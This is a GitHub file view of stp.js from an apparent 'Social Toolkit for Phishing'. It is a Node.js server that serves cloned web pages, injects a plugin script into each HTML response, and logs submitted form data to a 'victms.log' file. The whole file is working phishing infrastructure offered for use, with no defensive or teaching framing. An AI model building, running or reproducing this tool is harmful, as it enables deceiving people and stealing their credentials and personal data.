-
Notifications
You must be signed in to change notification settings - Fork 17
/
Copy pathstp.js
86 lines (75 loc) · 2.53 KB
/
stp.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
/*
[STP] Social Toolkit for Phishing
Author : Redtoor
Version : 1.0
*/
var net = require('net');
var http = require('http');
var fs = require('fs');
var url = require('url');
var path = require('path');
eval.apply(global, [fs.readFileSync('config.js').toString()]);
var payload = fs.readFileSync("./stp.plugin.js");
extensions = {
".html" : "text/html",
".css" : "text/css",
".js" : "application/javascript",
".png" : "image/png",
".gif" : "image/gif",
".jpg" : "image/jpeg",
".json" : "text/html",
};
function debugConsole(message){
console.log(message);
}
function getFileRequest(filePath,res,page404,mimeType,ext){
fs.exists(filePath,function(exists){
if(exists){
fs.readFile(filePath,function(err,contents){
if(!err){
res.writeHead(200,{
"Content-type" : mimeType,
"Content-Length" : contents.length+payload.length+17
});
if (ext == ".html" || ext == "") {res.end(contents+"<script>"+payload+"</script>");}else{res.end(contents);}
} else {
};
});
} else {
fs.readFile(page404,function(err,contents){
if(!err){
res.writeHead(404, {'Content-Type': 'text/html'});
res.end(contents);
} else {};
});
};
});
};
function saveData(datas){
var serializer = datas.substring(9,datas.length);
fs.appendFile("./logs/victms.log", 'DATA : '+serializer+'\n\n\n', function (err) {});
}
function requestHandler(req, res) {
try{
var
fileName = req.url,
ext = path.extname(fileName),
localFolder = __dirname + Plataform,
page404 = localFolder + '404.html';
var array = fileName.split('/');
var lastsegment = array[array.length-2];
if(fileName=="/") fileName = "index.html";
if(fileName.substring(0,9) == "/stp.get?") {debugConsole(" {+} Event Submit was detected."); saveData(fileName);}
getFileRequest((localFolder + fileName),res,page404,extensions[ext],ext);
}catch(err){debugConsole(err);}
};
function stp(){
try{
debugConsole("\n {#} Social ToolKit Phishing.")
debugConsole(" {*} Loading Setting.");
debugConsole(" {*} Plataform "+Plataform+" - Port "+HTTPport);
debugConsole(" {*} Starting Server in localhost:"+HTTPport);
http.createServer(requestHandler).listen(HTTPport);
}catch(err){debugConsole(err);}
}
stp();